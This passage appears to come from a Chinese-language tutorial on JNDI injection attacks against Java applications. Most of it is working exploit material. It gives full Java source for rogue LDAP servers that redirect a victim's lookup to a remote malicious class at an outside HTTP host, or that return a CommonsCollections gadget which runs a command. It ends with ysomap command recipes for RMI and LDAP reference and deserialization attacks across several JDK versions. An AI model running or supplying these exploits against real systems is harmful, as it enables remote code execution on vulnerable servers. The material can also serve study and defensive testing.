import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

/*
jdk < 11.0.1、8u191、7u201、6u211
 */
public class AttackWithRemoteFactory {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] argx ) {
        int port = 1389;
        String[] args = new String[]{"http://192.168.137.98:5000/#com.dr34d.TestEvilClass"};
        if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
            System.err.println(AttackWithRemoteFactory.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        }
        else if ( args.length > 1 ) {
            port = Integer.parseInt(args[ 1 ]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

最后在客户端发起查询,远程类被加载后会弹出计算器。

public class MainLDAP {
    public static void main(String[] args) throws Exception {
//        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        Context ctx = new InitialContext();
        ctx.lookup("ldap://localhost:1389/Foo");
        ctx.close();
    }
}

jdk 版本 11.0.1、8u191、7u201、6u211 时加入了 com.sun.jndi.rmi.object.trustURLCodebase 的限制。只有将 com.sun.jndi.rmi.object.trustURLCodebase 设置。

SerializedData 反序列化利用(通用)

反序列化利用链非常好理解,deserializeObject 方法内部直接调用了 readObject 方法,构造恶意 LDAP 服务器时,也可以在 marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java at master · mbechler/marshalsec · GitHub 的基础之上进行修改。

代码如下:

public class AttackWithSerializedData {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] argx ) {
        int port = 1389;
        String[] args = new String[]{"http://192.168.137.98:5000/#Test"};
        if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
            System.err.println(AttackWithReference.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        }
        else if ( args.length > 1 ) {
            port = Integer.parseInt(args[ 1 ]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new AttackWithSerializedData.OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaSerializedData", SerializeUtils.serialize(new CC6().getPocObject("mate-calc")));

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

其中,SerializeUtils.serialize 用于将对象序列化得到 bytes 数组:

    public static byte[] serialize(Object o) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(o);
        oos.close();
        bos.close();
        return bos.toByteArray();
    }

LDAP 反序列化并未受到 jdk 版本限制,但需要目标含有反序列化利用链。

EXP 汇总

JNDI RMI 反序列化(通用

使用 ysomap 中的 JRMPListener:

use exploit RMIListener
use payload CommonsCollections5
use bullet TransformerWithTemplatesImplBullet
set lport 12345
set args "mate-calc"
run

JNDI RMI Reference(jdk < 8u121)

使用 ysomap 中的 RMIListener:

use exploit SimpleHTTPServer
use payload EvilFileWrapper
use bullet ClassWithEvilConstructor
set lport 8082
set path /EvilObj.class
set classname EvilObj
set body "mate-calc"
set type class
run

use exploit RMIListener
use payload JNDIRefWrapper
use bullet JNDIRefBullet
#set lhost 127.0.0.1
set lport 1099
#set objectName EvilObj
set factoryName EvilObj
set factoryURL http://127.0.0.1:8082/
run

JNDI RMI Reference 远程类加载(高版本 jdk)

新版本 Tomcat 失效。

使用 RMIListener

use exploit RMIListener
use payload JNDIRefWrapper
use bullet TomcatRefBullet
set lport 1099
set type cmd
set body "mate-calc"
run

JNDI LDAP Reference(jdk < 8u191)

使用 ysomap 中的 LDAPRefListener

use exploit SimpleHTTPServer
use payload EvilFileWrapper
use bullet ClassWithEvilConstructor
set lport 8081
set path /EvilObj.class
set classname EvilObj
set body "mate-calc"
set type class
run

use exploit LDAPRefListener
set lport 1389
set codebase http://localhost:8081/
set objectName EvilObj
run

JNDI LDAP SerializedData(通用)

使用 ysomap 中的 LDAPLocalChainListener

use exploit LDAPLocalChainListener
use payload CommonsCollections5
use bullet TransformerWithTemplatesImplBullet
set lport 1389
set args "mate-calc"
run

参考